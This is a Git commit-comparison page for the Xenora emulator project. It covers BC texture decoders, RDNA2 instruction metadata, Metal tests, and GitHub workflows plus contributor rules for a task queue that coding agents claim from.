Compare commits

..
Author SHA1 Message Date
elforeign f25060e891 changelog: restore the gfx1030 metadata and shader inspection entries
The upstream merge of main into this branch (01deb3f) resolved the
CHANGELOG conflict by dropping this PR's three entries;
documented_form_counts_match_the_generated_table caught it.

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 01:35:27 -06:00
elforeign 9318e68840 Merge remote-tracking branch 'origin/main' into feat/gpu-compatibility-expansion
Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 01:34:37 -06:00
Ranveer Soni 5ca90bfac0 Merge pull request #221 from atesahmet0/task/177-probe-report-consistency
Test probe report consistency across JSON, Markdown, and CSV
2026-11-24 12:59:38 +05:30
Ranveer Soni 01deb3f8a8 Merge branch 'main' into feat/gpu-compatibility-expansion 2026-11-24 12:55:06 +05:30
Ranveer Soni e6b9a27242 Merge pull request #218 from elforeign/task/168-bc23-audit
test(metal): BC2/BC3 edge blocks, invalid payloads and capability reporting (follow-up to #214)
2026-11-24 12:54:35 +05:30
Ranveer Soni e79bd1ccaf Merge pull request #220 from elforeign/task/170-bc6h-subset
feat(texture): bounded BC6H subset decoder (single-subset modes) (#170)
2026-11-24 12:51:55 +05:30
Ranveer Soni 066bc3fc83 Merge pull request #217 from elforeign/feat/agent-task-queue
agent queue: command-only triggers, durable claim replay and review fixes (follow-up to #165)
2026-11-24 12:47:00 +05:30
elforeign 3109b620fd texture: decode the single-subset BC6H modes
#170 asks for a documented, bounded BC6H subset with explicit rejection
of what is not implemented. This adds a CPU decoder for the four
single-subset modes (Khronos 3, 7, 11 and 15; Microsoft 11 to 14) in
signed and unsigned form, written from the Khronos Data Format 1.3 text
(Tables 121 and 122, unquantization and final unquantization). Reserved
modes decode to zero as the specification requires; the ten two-subset
modes return Bc6hError::UnsupportedMode, and BC6H_SUPPORTED_MODES lists
coverage by mode.

Tests use hand-derived values (saturation to 65504 and -65504, the
11-bit transform wrap, both reversed-bit fields, signed -32768 to
negative infinity) and 128 known-answer vectors from a separate
clean-room reference decoder, 16 per supported and reserved mode.
Flipping the reversed bit order, dropping the wrap mask, using 31/64
for signed data, a 4-bit anchor, accepting mode 0 or not zeroing
reserved modes each fails the tests.

Refs #170

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 01:16:24 -06:00
elforeign d94121bbb0 metal: compare non-interpolated BC2/BC3 codes exactly
An independent review of the #214 tests found that the full-texel check
applied the two-code interpolation tolerance to every channel, so an
endpoint, a BC2 alpha nibble or BC3's fixed 0 or 255 outside the anchors
could be off by two and still pass. The tolerance now comes from each
texel's own indices: zero for stored and fixed codes, two only for
interpolated ones. A readback kernel that lowers near-opaque alpha by two
now fails all three tests. The 1.14-code bound is stated as 8/7.

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 01:11:43 -06:00
elforeign 97ea2541bb metal: cover BC2/BC3 edge blocks and report missing BC support apart
The section 12 audit of #214 found three gaps: no level narrower than a
block row (Metal's zero-stride single-row upload) or of 1x1, no checks
for zero extents or oversized and block-count-mismatched payloads, and a
missing BC capability surfaced the same way as an implementation fault.

Adds a 5x3 and 1x1 GPU test with hand-derived anchors, the extra upload
rejections, and MetalError::is_capability_unavailable; the GPU tests now
print CAPABILITY UNAVAILABLE or IMPLEMENTATION FAILURE. Rounding the
texture to whole blocks, accepting oversized payloads, or a device
without BC support each makes the tests fail with the matching message.

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 01:08:34 -06:00
elforeign f1ec653b91 Merge remote-tracking branch 'origin/main' into feat/agent-task-queue
Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 01:06:04 -06:00
elforeign b1ab08c09d agent queue: apply claim checks when /reassign creates a claim
/reassign turned a ready task into a claim without the dependency and
file-overlap checks /claim applies, so a maintainer reassignment could
grant two overlapping claims. Run the same checks for the new holder.

Refs #211

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 01:05:47 -06:00
elforeign 6b479a6617 agent queue: fix review findings in replies, verification and issue forms
From independent review of the queue follow-up:
- Bot replies echoed user text (/blocked reasons, /reassign logins,
  file patterns) verbatim. Markers count when the bot posts them, so a
  reason containing an approval or done marker became a bot marker and
  could approve an acceptance command or hide another user's claim.
  Echoed text now has angle brackets and backticks escaped.
- /verified accepted a 7-character prefix and ignored extra arguments;
  a commit with the same short prefix is cheap to make. Require exactly
  one full 40-character SHA, with one parser shared by decide and the
  check.
- After a verification, the job looked up the check run by the pull
  request head SHA, but pull_request_target runs carry the base branch
  SHA, so it found nothing and || true hid it. The verify job now
  evaluates the same advisory check itself and no longer needs
  actions: write.
- The issue form renders Files inside a ```text fence and the parser
  took "text" as a path, so any two form-created tasks overlapped.
  Fence lines are skipped.
- A command still unanswered after lease_hours now gets a "Not decided"
  reply (window 2 x lease_hours) instead of being dropped silently.

Each fix has a test shown to fail with the fix reverted.

Refs #210, #211

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 01:05:28 -06:00
elforeign b5a462fb54 Merge remote-tracking branch 'origin/main' into feat/gpu-compatibility-expansion
Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 01:02:17 -06:00
elforeign 09e0bea55d shaders, isa: tighten inspection wording and review-found test gaps
From independent review:
- The summary said "not executable" for instructions that merely have
  no semantic decoding; a decoded program can still fail compilation.
  Say "without semantic decoding".
- When identification stops early, a branch target past the identified
  prefix was reported invalid although its boundaries are unknown;
  report it as unverified.
- The VOP3 and VOP3P literal probes used 1.0, which LLVM encodes as an
  inline constant (8 bytes), so neither exercised a literal. Use
  0x3f800001 and 0x3c01 and assert the 12-byte encoding and trailer.
- The coverage JSON test now also checks the document's shape.

Refs #183, #184

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 01:01:38 -06:00
elforeign e70780f30a Merge remote-tracking branch 'origin/main' into feat/agent-task-queue
Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>

# Conflicts:
#	CHANGELOG.md
2026-11-24 01:00:40 -06:00
elforeign ef481368d6 Merge remote-tracking branch 'origin/main' into feat/gpu-compatibility-expansion
Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>

# Conflicts:
#	CHANGELOG.md
2026-11-24 01:00:40 -06:00
Ranveer Soni 0cac6c4fcf Merge pull request #214 from elforeign/test/metal-bc2-bc3
test(metal): BC2/BC3 upload and sampling conformance (#168)
2026-11-24 12:30:21 +05:30
elforeign 3a598a83e1 shaders: assert add.bin inspects as 7 semantic instructions
Refs #183

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 00:59:45 -06:00
Ranveer Soni b69d4b97c6 Merge pull request #166 from elforeign/feat/gpu-compatibility-expansion
isa: complete gfx1030 instruction metadata and identification
2026-11-24 12:26:27 +05:30
Ranveer Soni 97598903e2 Merge branch 'main' into feat/gpu-compatibility-expansion 2026-11-24 12:26:13 +05:30
elforeign 9fda5aab18 agent queue: re-run the check only after an accepted verification
The verify job re-ran the pull request check after any /verified
comment, including refused ones: the author's own, a non-verifier's, a
stale or unknown head or a malformed SHA. decide now marks only an
accepted verification of the current head, and the job re-runs the check
only when should-rerun confirms it. A test checks that what re-runs the
check is exactly what the check counts.

Replay decides a comment listed twice only once. Tests cover duplicate
and out-of-order listings, and every arrival order of a five-claim burst
grants exactly one of two overlapping claims.

Fixes #210, fixes #211

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 00:56:00 -06:00
Ranveer Soni af68f7da74 Merge pull request #165 from elforeign/feat/agent-task-queue
coordination: agent task queue for cpu, gpu, runtime, shared and qa work
2026-11-24 12:25:45 +05:30
Ranveer Soni dcf723e49d Merge branch 'main' into feat/agent-task-queue 2026-11-24 12:25:28 +05:30
elforeign 6d7523f5d1 Merge upstream main into test/metal-bc2-bc3
Resolves the CHANGELOG.md conflict with the claim-rules entry; both
entries are kept.

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 00:55:23 -06:00
elforeign cf2d0cfb0b isa, shaders: test that coverage totals and documented counts match FORMS
At 5450612 the generated table held 1,460 forms while the docs and PR
said 1,465; 1493dcf added the five literal-only forms the LLVM oracle
found, so the table, xenora shaders coverage (text and JSON) and docs
now agree on 1,465 across 21 families. Nothing checked that they stay
in step. Test the JSON and text totals and per-family sum against
FORMS and SEMANTIC_FORMS, and the counts stated in docs/research/rdna2.md
and CHANGELOG.md against FORMS.len().

The branch inspection fix for #183 is the previous commit 9640269.

Fixes #183, fixes #184

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 00:54:07 -06:00
elforeign 69812d97c0 Merge remote-tracking branch 'origin/main' into feat/gpu-compatibility-expansion
Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>

# Conflicts:
#	CHANGELOG.md
2026-11-24 00:52:10 -06:00
Ranveer Soni e86eedf583 Merge pull request #213 from elforeign/docs/claim-before-work
docs: require claiming an issue before starting work
2026-11-24 12:20:55 +05:30
elforeign 59ee786a12 metal: upload and read BC2 and BC3 blocks natively
BC2 and BC3 had CPU decoders (#167) but no native Metal path, so nothing
showed that the original 16-byte blocks reach the GPU and decode as the
specifications describe. This adds a pitched BcAlphaUpload with the BC1
upload's validation (shared, now measured in 16-byte blocks) and
NativeCompute::read_bc_alpha_upload, which places the blocks in BC2_RGBA
or BC3_RGBA textures behind the existing BC capability check.

The GPU tests cover explicit 4-bit alpha, six- and eight-value
interpolated alpha (equal endpoints included), descending, ascending and
equal colour endpoints, padded row and slice pitches, two layers and two
mips. Texels are compared with the CPU decoders and hand-derived anchors.
On an Apple M5 Pro interpolated values lie within 1.14 codes of the exact
values, two codes at most from the truncating CPU reference, which sets
the tolerance. Uploading BC3 as BC2, BC2 as BC1, or ignoring the row
pitch each fails the tests.

Refs #168

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 00:49:17 -06:00
elforeign 5df1f9146f docs: require claiming an issue before starting work
Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 00:48:25 -06:00
elforeign e37c8566c6 agent queue: start runs only for commands and replay cancelled claims
Every pull request comment started the verify job, which gathered state
and re-ran the pull request check, so ordinary review discussion re-ran
verification. Gate the verify job on comments that start with /verified
and the claim job on comments that start with /.

Claim runs share one concurrency group with cancel-in-progress: false.
GitHub keeps one waiting run per group and cancels it when a newer run
queues, so with the run deciding only its own comment, a /claim posted
while another claim was being decided could be dropped without a reply.
Each run now replays every command of the last lease_hours that has no
bot reply, oldest first, updating labels in memory between commands; the
hourly audit does the same, so a cancelled run's command is answered by
the run that replaced it at the latest within the hour. Replies carry a
done marker that counts only from the Actions bot.

The pull request check is advisory until a live smoke test and the
migration of existing issues: problems are a warning and the job passes.

Tests model the concurrency group (the old event-only design loses the
cancelled claim; replay answers all four commands), in-order overlap
decisions, bot-only markers and the workflow triggers.

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 00:46:21 -06:00
Ranveer Soni 48e42d6d4b Merge pull request #182 from atesahmet0/fix/75-static-probe-c7
Fix C7 instruction boundaries and trusted fixture probe reporting
2026-11-24 12:12:44 +05:30
elforeign 964026901f shaders: decode inspected instructions at their stream offset
xenora shaders inspect passed each identified instruction to decode() on
its own. decode() checks that every branch target lands on an instruction
in the stream it was given, and a lone branch has no other instruction to
land on, so every supported s_branch and s_cbranch_* was reported as
"unsupported operands" (3 of 15 rows in bitwise-branch.bin).

Add decode_at(), which decodes one instruction at its real stream offset
without the stream-wide target check, and DecodedInstruction::branch_target().
inspect now identifies the whole stream first and checks each branch
target against those boundaries, reporting a bad target separately.
decode() is rebuilt on decode_at() with unchanged behaviour.

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 00:40:55 -06:00
elforeign 98bbe57471 Merge remote-tracking branch 'origin/main' into feat/agent-task-queue
Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>

# Conflicts:
#	CHANGELOG.md
2026-11-24 00:38:58 -06:00
elforeign 5baa630ff0 Merge remote-tracking branch 'origin/main' into feat/gpu-compatibility-expansion
Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>

# Conflicts:
#	CHANGELOG.md
2026-11-24 00:38:51 -06:00
Ranveer Soni 951189c61b Merge pull request #167 from elforeign/feat/texture-bc-formats
texture: BC2, BC3, BC4 and BC5 CPU block decoders
2026-11-24 11:58:17 +05:30
elforeign 1493dcf83b isa: check identification against LLVM and add literal-only forms
The extension-word length rules were written by hand because the XML
gives none, so they needed an outside oracle. An LLVM test now compares
names and lengths for one instruction per family and extension word.
It found five instructions the XML lists only under a literal encoding,
which the first table omitted; they are now base forms that always carry
a literal.

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 00:20:26 -06:00
elforeign 54506125d4 Merge remote-tracking branch 'origin/main' into feat/gpu-compatibility-expansion
# Conflicts:
#	CHANGELOG.md
2026-11-24 00:11:41 -06:00
elforeign 7c89ed62a2 changelog: record BC2-BC5 CPU block decoders
Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 00:11:35 -06:00
elforeign b9b0a40101 Merge remote-tracking branch 'origin/main' into feat/agent-task-queue
# Conflicts:
#	CHANGELOG.md
2026-11-24 00:11:26 -06:00
elforeign f19d57967d Merge remote-tracking branch 'origin/main' into feat/texture-bc-formats 2026-11-24 00:11:08 -06:00
elforeign 62c933051b isa: generate complete gfx1030 instruction metadata and identification
The decoder knew 25 hand-matched forms, so any other instruction stopped
decoding with no record of what it was or how long it was. A two-stage
generator now reduces AMD's public RDNA 2 XML to all 1,460 base forms,
with a committed snapshot so CI can check the generated table offline.
identify() finds any form's exact length, including literal, SDWA, DPP
and NSA words, and the shaders CLI reports discovered against executable
forms so metadata coverage is never read as GPU support.

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 00:11:00 -06:00
elforeign e35df04069 Expand the agent task queue to cpu/gpu/runtime/shared/qa with deterministic checks
The queue now has three engineering tracks plus shared and qa work. Queue
rules move from shell/awk in workflows into a standard-library Python package
so they are testable offline: claim decisions (dependencies, cycles, file
overlap, area permission), leases renewed only by the holder, reassign and
release, acceptance-command approval by hash, pull request ownership/overlap/
stale/verification checks and a machine-readable summary. Workflows apply the
decisions with minimal permissions, never put user text in run blocks and
never check out pull request code. The sync script fetches the real upstream
so interface changes during work are reported.

Not yet run on GitHub.

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 00:09:38 -06:00
elforeign ef1a94ce71 texture: add BC2, BC3, BC4 and BC5 block decoders
Adds spec-derived CPU decoders (UNORM and SNORM for BC4/BC5) with
truncating integer interpolation and hand-computed tests, so later
texture work has verified references for these formats.

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-24 00:01:14 -06:00
elforeign a89f9d8d06 coordination: add GitHub issue task queue for parallel agents
CPU and GPU work proceed in parallel, largely through coding agents.
Tasks posted as issues with owned file lists and an acceptance command
can be claimed through a serialised workflow, so work is picked up
without relaying prompts by hand and two claims never edit one file.

Signed-off-by: elforeign <324243036+elforeign@users.noreply.github.com>
2026-11-23 23:58:25 -06:00
62 changed files with 12298 additions and 180 deletions

No files matched your search

+67
View File
@@ -0,0 +1,67 @@
name: Agent task
description: A self-contained work item that a contributor or coding agent can claim with /claim.
title: "task: "
labels: [agent:ready]
body:
- type: dropdown
id: area
attributes:
label: Area
description: "cpu: translation, DBT, PE loading, guest startup, guest memory. gpu: RDNA2, shaders, Metal. runtime: Win32, CRT, C++ runtime, import generation, OS services, platform abstractions. shared: cross-subsystem interfaces. qa: verification, regression, security review."
options:
- cpu
- gpu
- runtime
- shared
- qa
validations:
required: true
- type: dropdown
id: priority
attributes:
label: Priority
options:
- critical
- high
- medium
- low
validations:
required: true
- type: input
id: interface
attributes:
label: Interface
description: For shared tasks, the interface name and the version or upstream commit it targets. Leave empty otherwise.
- type: textarea
id: goal
attributes:
label: Goal
description: What must be true when the task is finished, in one or two sentences.
validations:
required: true
- type: textarea
id: files
attributes:
label: Files
description: Paths the task may edit, one per line: exact paths, directories ending in "/", or globs with * and **. Two claimed tasks never overlap.
render: text
validations:
required: true
- type: textarea
id: acceptance
attributes:
label: Acceptance command
description: The exact command whose success proves the task is done. It must fail before the change. It is never run automatically; a maintainer must approve it with /approve-acceptance.
render: sh
validations:
required: true
- type: input
id: depends
attributes:
label: Depends on
description: Issue numbers that must be closed first, for example "#12, #15". Leave empty when none.
- type: textarea
id: context
attributes:
label: Context
description: Specification sections, interface notes and known limits. Public sources only.
+4 -1
View File
@@ -1,6 +1,8 @@
## Summary
<!-- What changes, and why? Link an issue if relevant. -->
<!-- What changes, and why? -->
Closes #<!-- the issue you claimed -->
## Implementation and evidence
@@ -23,6 +25,7 @@
## Checklist
- [ ] I claimed the linked issue before starting, and the claim was still mine when I opened this pull request.
- [ ] I reviewed the changes and disclosed material AI assistance below, if applicable.
- [ ] The change preserves native ARM64 and Metal-first requirements.
- [ ] I added relevant tests or explained why they are not applicable.
+9
View File
@@ -0,0 +1,9 @@
{
"lease_hours": 24,
"upstream": "ranveersoni98/Xenora",
"maintainers": ["ranveersoni98"],
"contributors": {
"ranveersoni98": ["cpu", "shared", "qa"],
"elforeign": ["gpu", "shared", "qa"]
}
}
+88
View File
@@ -0,0 +1,88 @@
name: Agent task claims
# Applies queue commands (/claim, /release, /reassign, /progress, /blocked,
# /unblock, /approve-acceptance) and audits the queue hourly. Comment and issue
# text is only parsed as data by scripts/agent_queue; it is never executed and
# never interpolated into a shell. Not yet run on GitHub.
#
# Both jobs share one concurrency group, so decisions never race. GitHub keeps
# at most one pending run per group and cancels the older pending run when a
# newer one queues, so a run does not decide only its own comment: `replay`
# decides every command of the last lease_hours that has no bot reply yet,
# oldest first. The surviving run, or at the latest the hourly audit, answers
# the commands of cancelled runs. Comments that do not start with `/` start no run.
on:
issue_comment:
types: [created]
schedule:
- cron: "17 * * * *"
workflow_dispatch:
permissions: {}
jobs:
command:
if: github.event_name == 'issue_comment' && !github.event.issue.pull_request && startsWith(github.event.comment.body, '/')
runs-on: ubuntu-24.04-arm
permissions:
contents: read
issues: write
# One global group: claims are decided one at a time so file-overlap checks cannot race.
concurrency:
group: agent-queue
cancel-in-progress: false
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- name: Decide and apply
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
PYTHONPATH: scripts
run: |
set -eu
python3 -m agent_queue gather --repo "$GH_REPO" --no-prs --recent-commands > "$RUNNER_TEMP/state.json"
python3 -m agent_queue replay --state "$RUNNER_TEMP/state.json" > "$RUNNER_TEMP/actions.json"
python3 -m agent_queue apply --repo "$GH_REPO" --actions "$RUNNER_TEMP/actions.json"
audit:
if: github.event_name != 'issue_comment'
runs-on: ubuntu-24.04-arm
permissions:
contents: read
issues: write
concurrency:
group: agent-queue
cancel-in-progress: false
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- name: Decide commands whose runs were cancelled
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
PYTHONPATH: scripts
run: |
set -eu
python3 -m agent_queue gather --repo "$GH_REPO" --no-prs --recent-commands > "$RUNNER_TEMP/commands.json"
python3 -m agent_queue replay --state "$RUNNER_TEMP/commands.json" > "$RUNNER_TEMP/replay.json"
python3 -m agent_queue apply --repo "$GH_REPO" --actions "$RUNNER_TEMP/replay.json"
- name: Lapse stale claims, flag invalid tasks, write summary
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
PYTHONPATH: scripts
run: |
set -eu
python3 -m agent_queue gather --repo "$GH_REPO" > "$RUNNER_TEMP/state.json"
python3 -m agent_queue audit --state "$RUNNER_TEMP/state.json" > "$RUNNER_TEMP/actions.json"
python3 -m agent_queue apply --repo "$GH_REPO" --actions "$RUNNER_TEMP/actions.json"
{
echo '## Agent queue summary'
echo '```json'
python3 -m agent_queue summary --state "$RUNNER_TEMP/state.json" --now "$(date -u +%Y-%m-%dT%H:%M:%SZ)"
echo '```'
} >> "$GITHUB_STEP_SUMMARY"
+102
View File
@@ -0,0 +1,102 @@
name: Agent PR checks
# Checks pull requests against the task queue: linked claimed task, file
# ownership, overlap with other open pull requests, and independent
# verification. Runs on the base branch only: pull request code is never checked
# out or executed; changed files come from the API. Not yet run on GitHub.
#
# Advisory: problems are reported as a warning and in the run summary, but the
# check does not fail until a live smoke test and the migration of existing
# issues are done (docs/coordination/agent-tasks.md). Only a comment starting
# with /verified starts the verify job; ordinary comments start nothing.
on:
pull_request_target:
types: [opened, synchronize, reopened, edited]
issue_comment:
types: [created]
permissions: {}
jobs:
check:
if: github.event_name == 'pull_request_target'
runs-on: ubuntu-24.04-arm
permissions:
contents: read
issues: read
pull-requests: read
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- name: Check pull request
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
PYTHONPATH: scripts
run: |
set -eu
python3 -m agent_queue event --path "$GITHUB_EVENT_PATH" > "$RUNNER_TEMP/event.json"
number=$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["number"])' "$RUNNER_TEMP/event.json")
python3 -m agent_queue gather --repo "$GH_REPO" --pr "$number" > "$RUNNER_TEMP/state.json"
status=0
python3 -m agent_queue pr-check --state "$RUNNER_TEMP/state.json" > "$RUNNER_TEMP/result.json" || status=$?
{
echo '## Agent PR check'
echo '```json'
cat "$RUNNER_TEMP/result.json"
echo '```'
} >> "$GITHUB_STEP_SUMMARY"
# 1 means problems were found: advisory for now. Anything else is a failure of the check itself.
if [ "$status" -eq 1 ]; then
echo "::warning title=Agent PR check (advisory)::problems found; see the run summary"
elif [ "$status" -ne 0 ]; then
exit "$status"
fi
verify:
if: github.event_name == 'issue_comment' && github.event.issue.pull_request && startsWith(github.event.comment.body, '/verified')
runs-on: ubuntu-24.04-arm
# issues: write posts the reply.
permissions:
contents: read
issues: write
pull-requests: read
concurrency:
group: agent-verify-${{ github.event.issue.number }}
cancel-in-progress: false
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- name: Record verification and check again
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
PYTHONPATH: scripts
run: |
set -eu
python3 -m agent_queue event --path "$GITHUB_EVENT_PATH" > "$RUNNER_TEMP/event.json"
number=$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["number"])' "$RUNNER_TEMP/event.json")
python3 -m agent_queue gather --repo "$GH_REPO" --pr "$number" > "$RUNNER_TEMP/state.json"
python3 -m agent_queue decide --event "$RUNNER_TEMP/event.json" --state "$RUNNER_TEMP/state.json" > "$RUNNER_TEMP/actions.json"
python3 -m agent_queue apply --repo "$GH_REPO" --actions "$RUNNER_TEMP/actions.json"
# Check again only after an accepted verification of the current head: refused, stale,
# malformed or unauthorized /verified comments get a reply and nothing else.
if ! python3 -m agent_queue should-rerun --actions "$RUNNER_TEMP/actions.json"; then exit 0; fi
# pull_request_target runs are recorded against the base branch, not the pull request
# head, so the earlier check run cannot be found by head SHA. Evaluate the same check here.
status=0
python3 -m agent_queue pr-check --state "$RUNNER_TEMP/state.json" > "$RUNNER_TEMP/result.json" || status=$?
{
echo '## Agent PR check after verification'
echo '```json'
cat "$RUNNER_TEMP/result.json"
echo '```'
} >> "$GITHUB_STEP_SUMMARY"
if [ "$status" -eq 1 ]; then
echo "::warning title=Agent PR check (advisory)::problems found; see the run summary"
elif [ "$status" -ne 0 ]; then
exit "$status"
fi
+5
View File
@@ -37,10 +37,15 @@ jobs:
rustc -vV
- name: Check generated status and PE fixtures
run: |
python3 crates/isa/generate_rdna2_meta.py --check
python3 scripts/audit/status.py --check
for fixture in x2 x3 x4; do
python3 "experiments/x1/fixtures/$fixture.py" --check || exit 1
done
- name: Test agent task queue
run: |
PYTHONPATH=scripts python3 -m unittest discover -s tests/agent_queue
sh -n scripts/agent-queue.sh scripts/agent-sync.sh
- name: Check formatting and lint
run: |
cargo fmt --all -- --check
+13
View File
@@ -45,6 +45,19 @@ No AI slop (section 29).
Read docs/interfaces.md and docs/progress.md before implementation.
## Claiming work before you start
Several people and coding agents work on this repository at the same time. An issue with no visible claim is the only signal that a task is free, so claim before you edit anything.
1. **Check.** Read the issue's comments, assignees and labels, its linked pull requests, and open pull requests that touch the same files. If someone holds a live claim, pick another task. Do not start parallel work on a claimed task.
2. **Claim.** Comment `/claim` on the issue (or run `scripts/agent-queue.sh claim <n>`). Where the claim workflow is enabled, wait for its grant comment and the `claimed-by:<login>` label; a refusal names the reason. Where it is not enabled yet, your comment is the claim and the earliest valid claim comment wins. One issue per claim; claim follow-up tasks separately.
3. **Respect file ownership.** Two claimed tasks never edit the same files at the same time. If the issue lists files, edit only those; ask the maintainer before widening the list.
4. **Keep it alive.** A claim lapses 24 hours after the latest grant, `/progress <what changed>` comment, or push to the linked pull request. Post `/progress` at least once a day while you work. Lapsed tasks return to the queue and may be claimed by anyone.
5. **Release.** If you stop, comment `/release` so the task returns to the queue. Use `/blocked <reason>` instead if you are waiting on another task.
6. **Link.** Open the pull request from a branch named `task/<n>-<slug>` with `Closes #<n>` in its description.
An agent acting for a contributor claims in that contributor's name and must not claim work for areas that contributor may not claim (`.github/agent-queue.json`). Never remove, overwrite or ignore another person's claim; ask the maintainer to `/reassign` instead. See `docs/coordination/agent-tasks.md` when present.
## Changelog maintenance
- At the start of every engineering task, read `CHANGELOG.md` alongside the relevant project documentation. Review the existing `[Unreleased]` entries before implementation to avoid duplicating completed work.
+23
View File
@@ -11,6 +11,29 @@ remains unsupported.
### Added
- Added complete gfx1030 instruction metadata generated from AMD's public RDNA 2 XML: 1,465 base forms across 21 encoding families with fields, operands, flags and allowed extension words. A committed, normalised snapshot lets `crates/isa/generate_rdna2_meta.py --check` verify the generated table offline; CI runs it.
- Added `xenora_isa::meta::identify`, which finds any gfx1030 instruction's form and exact length, including literal, SDWA, DPP and NSA words, and rejects truncated, unassigned and disallowed-extension encodings. It agrees with every LLVM-assembled fixture and with LLVM 23.1.6 on a probe set covering each family and extension word. Identification does not make an instruction executable: 25 forms have semantic decoding.
- Added `xenora shaders coverage [--json]` and `xenora shaders inspect <file>` for per-family coverage and stream listings that separate decoding failures from unsupported semantics. Each instruction is decoded at its stream offset and branch targets are checked against the whole stream's boundaries, so supported branches are no longer misreported as unsupported operands. `xenora_decoder::decode_at` decodes a single instruction for such callers.
- Added an agent task queue for the cpu, gpu, runtime, shared and qa areas: an *Agent task* issue form with priority and interface fields, a workflow that decides `/claim`, `/release`, `/reassign`, `/progress`, `/blocked`, `/unblock` and `/approve-acceptance` comments one at a time (dependency, cycle and file-overlap checks, 24-hour leases renewed by progress), a pull request check (linked claimed task, file ownership, overlap with other pull requests, independent `/verified <head sha>`), `scripts/agent-queue.sh` and `scripts/agent-sync.sh` (upstream fetch every 12 minutes, task branches in separate worktrees) and a machine-readable queue summary. The rules are standard-library Python in `scripts/agent_queue/` with unit tests in `tests/agent_queue/`; issue text is never executed and acceptance commands need maintainer approval. Only comments that start with a command start a job, so ordinary pull request comments never re-run verification, and only an accepted `/verified <full head sha>` evaluates the check again; and each claim run decides every unanswered command in order, so commands whose pending runs GitHub cancelled are still answered. See `docs/coordination/agent-tasks.md`. Unit tests pass locally; the workflows have not run on GitHub yet, and the pull request check stays advisory (it never blocks a merge) until a live smoke test and the migration of existing issues are done.
- Added explicit claim-before-work rules for contributors and coding agents to `AGENTS.md`, `CONTRIBUTING.md` and the pull request template: check for existing claims, claim with `/claim`, keep a 24-hour lease alive with `/progress`, `/release` when stopping, and link the claimed issue. Without the claim workflow, the earliest valid claim comment wins.
- Added a CPU decoder for a bounded subset of BC6H (signed and unsigned HDR) in
`xenora-texture`: the four single-subset modes (Khronos modes 3, 7, 11 and 15, Microsoft
modes 11 to 14), listed in `BC6H_SUPPORTED_MODES`, plus the reserved modes, which decode to
zero as specified. The ten two-subset modes are rejected with `Bc6hError::UnsupportedMode`
and are not implemented. Tests check hand-derived values and 128 known-answer vectors from a
separate clean-room reference decoder.
- Added native Metal upload and readback of BC2 and BC3 textures: `xenora-texture` gains a
pitched `BcAlphaUpload` for 16-byte blocks, and `NativeCompute::read_bc_alpha_upload` sends
the original blocks to `BC2_RGBA` or `BC3_RGBA` textures when the device reports BC support.
GPU tests cover explicit and interpolated (six- and eight-value) alpha, both colour endpoint
orders, padded row and slice pitches, two layers and two mips against the CPU decoders and
hand-derived anchors. On an Apple M5 Pro the native decoder's interpolated values were within
8/7 (about 1.14) codes of the exact values, so up to two codes from the truncating CPU reference.
Edge levels of 5×3 (one block row) and 1×1 are covered, invalid payloads (zero extents,
short, oversized or block-count-mismatched buffers, bad pitches) are rejected before upload,
and `MetalError::is_capability_unavailable` separates a device without BC support from an
implementation failure.
- Added CPU block decoders for BC2, BC3, BC4 and BC5 (UNORM and SNORM) in `xenora-texture`, with tests whose expected texels were derived by hand from the Microsoft and Khronos block-compression specifications. Interpolated values truncate toward zero, as the existing BC1 decoder does; GPU upload and sampling of these formats are not implemented yet.
- Added `dbt::tests::sib_store_executes_through_the_native_dbt`, an independent DBT execution
test that runs the SIB store form `mov [rsp + 0x20], rbx` through the native ARM64 DBT and
verifies the value lands in guest memory.
+1
View File
